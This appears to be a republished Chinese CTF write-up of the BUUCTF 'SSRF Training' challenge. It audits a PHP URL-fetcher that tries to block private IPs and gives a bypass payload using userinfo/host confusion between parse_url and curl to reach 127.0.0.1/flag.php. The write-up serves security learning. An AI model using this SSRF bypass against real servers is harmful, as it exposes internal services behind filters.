buuctf 刷題記錄 [第二章 web進階]SSRF Training


buuctf 刷題記錄 [第二章 web進階]SSRF Training

RinE7t.png
這個界面絕對是我做過的題里面最好看的了

點擊interesting challenge顯示源碼

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?>

這道題可以動態分析加靜態分析一起使用

代碼審計

RinYNV.png
這段代碼相當於main函數

GET方式傳入url賦值給$url

檢測url是否為空

不為空則執行safe_request_url函數

Rina3F.png

safe_request_url函數在一開始就有個通過check_inner_ip($url)進行校驗的判斷

接下來看check_inner_ip($url)函數

Rin6N6.png

check_inner_ip函數:
首先preg_match正則匹配,檢查傳入的url是否是url格式

Rin29O.png

如果是url格式,則繼續執行safe_request_url

RinxDs.png

1. curl_close — 關閉一個cURL會話
2. curl_copy_handle — 復制一個cURL句柄和它的所有選項
3. curl_errno — 返回最后一次的錯誤號
4. curl_error — 返回一個保護當前會話最近一次錯誤的字符串
5. curl_escape — 使用 URL 編碼給定的字符串
6. curl_exec — 執行一個cURL會話
7. curl_file_create — 創建一個 CURLFile 對象
8. curl_getinfo — 獲取一個cURL連接資源句柄的信息
9. curl_init — 初始化一個cURL會話
10. curl_multi_add_handle — 向curl批處理會話中添加單獨的curl句柄
11. curl_multi_close — 關閉一組cURL句柄
12. curl_multi_exec — 運行當前 cURL 句柄的子連接
13. curl_multi_getcontent — 如果設置了CURLOPT_RETURNTRANSFER,則返回獲取的輸出的文本流
14. curl_multi_info_read — 獲取當前解析的cURL的相關傳輸信息
15. curl_multi_init — 返回一個新cURL批處理句柄
16. curl_multi_remove_handle — 移除curl批處理句柄資源中的某個句柄資源
17. curl_multi_select — 等待所有cURL批處理中的活動連接
18. curl_multi_setopt — 為 cURL 並行處理設置一個選項
19. curl_multi_strerror — Return string describing error code
20. curl_pause — Pause and unpause a connection
21. curl_reset — Reset all options of a libcurl session handle
22. curl_setopt_array — 為cURL傳輸會話批量設置選項
23. curl_setopt — 設置一個cURL傳輸選項
24. curl_share_close — Close a cURL share handle
25. curl_share_init — Initialize a cURL share handle
26. curl_share_setopt — Set an option for a cURL share handle.
27. curl_strerror — Return string describing the given error code
28. curl_unescape — 解碼給定的 URL 編碼的字符串
29. curl_version — 獲取cURL版本信息

題目中主要用到

curl_init — 初始化一個cURL會話
curl_setopt — 設置一個cURL傳輸選項
curl_exec — 執行一個cURL會話
curl_getinfo — 獲取一個cURL連接資源句柄的信息
curl_close — 關閉一個cURL會話

其中curl_setopt用法為

Riuk2F.png

好吧,太亂了,直接看例子

Riu12D.png

以上的curl部分大致功能就是初始化,然后獲取一個網頁

Riu3xe.png

這個if的作用就是如果沒有獲取到信息,就重復獲取,重復執行safe_request_url函數

最后把exec后的數據dump出來
var_dump($output);

之后就出函數了

接下來將parse_url后的url賦值給$url_parse

Rin4ud.png

如果parse_url執行失敗,則返回false

RinTEt.png

Rin7UP.png

由此可見,parse_url會將url分成6個部分

[scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor

接下來,是一個賦值過程

RinqC8.png

hostname得到的是前面url_parse分離出來的host部分

ip 得到的是將hostname轉換為ip地址后的數值(就是把url轉成ip地址)
RinOgg.png

int_ip得到的是經過計算后的純數字形式的ip地址?
RinXvQ.png

然后是一個return
Rinvuj.png

繞過

我們最終的目的是要curl 127.0.0.1/flag然后得到dump出來的數據

那么該怎么繞過這兩重檢測呢

直接傳入http://a:@127.0.0.1:80@baidu.com/flag.php

payload:
http://c83f8e90-2d41-465e-b179-6fdf4b9bfa8f.node3.buuoj.cn/challenge.php/?url=http://a:@127.0.0.1:80@baidu.com/flag.php

其中flag.php是在界面給的提示

RiuNVI.png

這個payload的作用就是

檢測到的urlcurl請求的url不一致

原理我記得好久之前我看wooyun上好像有過,但是我記不住了😕

這個payload傳入后

safe_request_url檢測之后 parse_url取到的hostbaidu.com

而真正curl的確是127.0.0.1/flag
Riu2aq.png

這個原理還要去找找呀。。。

參考:https://blog.csdn.net/wuyaowangchuan/article/details/110433971

最后附上整篇的審計

<?php 
highlight_file(__FILE__);//用PHP高亮顯示當前的文件
function check_inner_ip($url) //獲取url的域名,將域名轉為ip,然后再判斷這個ip是否是私有地址
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
  	//返回$url的匹配,值將是 0 次(不匹配)或 1 
    //^從開頭開始匹配
   	//? 匹配0或1個正好在它之前的那個字符。注意:這個元字符不是所有的軟件都支持的
    //( )標記一個子表達式的開始和結束位置。子表達式可以獲取供以后使用。要匹配這些字符,請使用 \( 和 \)
    //.	匹配除換行符 \n 之外的任何單字符。要匹配 . ,請使用 \. 
    //*	匹配前面的子表達式零次或多次。要匹配 * 字符,請使用 \*
    //$:從字符串末尾進行匹配
    if (!$match_result) 
    { 
        die('url fomat error'); 
        //如果url不符合正則表達式
    } 
    try 
    { 
        $url_parse=parse_url($url); 
        //分解出一個URL的各個部
        // $url_parse是一個數組
        
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; //hostname 為主機名,也就是域名
    $ip=gethostbyname($hostname); //通過域名獲取IP地址
    $int_ip=ip2long($ip); //ip2long:將IPv4的ip地址(以小數點分隔形式)轉換為int
    
    //ip2long('127.0.0.0')>>24 == $int_ip>>24這里的話,我搜網上也沒搜到時什么,自己推測,>>代表着右移
    //ip2long('127.0.0.0')>>24,就是把127.0.0.0的整形右移24位,IP一共32位,右移后不就剩個A段“127”了
    //$int_ip>>24,就是把經過parse_url()后的IP右移24位,如果我們輸入的是127.0.0.1,有以后應該就是127
    //綜上所述,這里就是一個IP白名單,不允許我們輸入類似127.*.*.*、10.*.*.*、172.16.*.*、192.168.*.*
    
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
    //判斷是否是私有地址,是則這個函數就返回1
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    //判斷url是否是私有地址
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); //初始化新的會話,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函數使用
        curl_setopt($ch, CURLOPT_URL, $url); //訪問的域名
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //
        curl_setopt($ch, CURLOPT_HEADER, 0); //
        //curl_setopt函數參數解釋:https://www.cnblogs.com/lilyhomexl/p/6278921.html
        $output = curl_exec($ch); //抓取URL並把它傳遞給瀏覽器
        $result_info = curl_getinfo($ch); //php curl請求在curl_exec()函數執行之后,可以使用curl_getinfo()函數獲取CURL請求輸出的相關信息
        //[php curl curl_getinfo()返回參數詳解](https://www.cnblogs.com/zqifa/p/php-curl-3.html)
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); // 關閉cURL資源,並且釋放系統資源
        var_dump($output); //執行
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM